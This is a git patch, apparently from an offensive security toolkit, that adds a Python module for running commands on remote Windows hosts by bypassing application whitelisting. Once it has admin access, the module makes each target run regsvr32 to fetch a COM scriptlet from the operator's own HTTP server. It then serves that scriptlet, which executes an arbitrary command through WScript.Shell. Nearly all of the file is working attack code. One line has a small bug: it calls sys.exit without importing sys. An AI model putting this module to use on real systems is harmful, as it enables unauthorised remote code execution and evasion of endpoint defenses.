From fd42f45d7f559eb0c9ea64f601828bc997a82ebc Mon Sep 17 00:00:00 2001
From: byt3bl33d3r <byt3bl33d3r@gmail.com>
Date: Thu, 21 Apr 2016 19:30:59 -0600
Subject: [PATCH] fail

---
 modules/code_execution/bypass/com_exec.py | 84 +++++++++++++++++++++++
 1 file changed, 84 insertions(+)
 create mode 100644 modules/code_execution/bypass/com_exec.py

diff --git a/modules/code_execution/bypass/com_exec.py b/modules/code_execution/bypass/com_exec.py
new file mode 100644
index 00000000..6e7301be
--- /dev/null
+++ b/modules/code_execution/bypass/com_exec.py
@@ -0,0 +1,84 @@
+from core.helpers import gen_random_string
+from sys import exit
+import os
+
+class CMEModule:
+
+    '''
+        Executes a command using a COM scriptlet to bypass whitelisting
+
+        Based on the awesome research by @subtee
+
+        https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302
+        http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html
+    '''
+
+    name='com_exec'
+
+    required_server='http'
+
+    def options(self, context, module_options):
+        '''
+            CMD      Command to execute on the target system(s) (Required if CMDFILE isn't specified)
+            CMDFILE  File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
+        '''
+
+        if not 'CMD' in module_options and not 'CMDFILE' in module_options:
+            context.log.error('CMD or CMDFILE options are required!')
+            sys.exit(1)
+
+        if 'CMD' in module_options and 'CMDFILE' in module_options:
+            context.log.error('CMD and CMDFILE are mutually exclusive!')
+            sys.exit(1)
+
+        if 'CMD' in module_options:
+            self.command = module_options['CMD']
+
+        elif 'CMDFILE' in module_options:
+            path = os.path.expanduser(module_options['CMDFILE'])
+
+            if not os.path.exists(path):
+                context.log.error('Path to CMDFILE invalid!')
+                sys.exit(1)
+
+            with open(path, 'r') as cmdfile:
+                self.command = cmdfile.read().strip()
+
+        self.sct_name = gen_random_string(5)
+
+    def on_admin_login(self, context, connection):
+
+        command = 'regsvr32.exe /u /n /s /i:http://{}/{}.sct scrobj.dll'.format(context.localip, self.sct_name)
+        connection.execute(command)
+        context.log.success('Executed command')
+
+    def on_request(self, context, request):
+        if '{}.sct'.format(self.sct_name) in request.path[1:]:
+            request.send_response(200)
+            request.end_headers()
+
+            com_script = '''<?XML version="1.0"?>
+<scriptlet>
+<registration
+    description="Win32COMDebug"
+    progid="Win32COMDebug"
+    version="1.00"
+    classid="{{AAAA1111-0000-0000-0000-0000FEEDACDC}}"
+>
+<script language="JScript">
+    <![CDATA[
+        var r = new ActiveXObject("WScript.Shell").Run("{}");
+    ]]>
+</script>
+</registration>
+<public>
+    <method name="Exec"></method>
+</public>
+</scriptlet>'''.format(self.command)
+
+            request.wfile.write(com_script)
+            request.stop_tracking_host()
+
+        else:
+            request.send_response(404)
+            request.end_headers()
\ No newline at end of file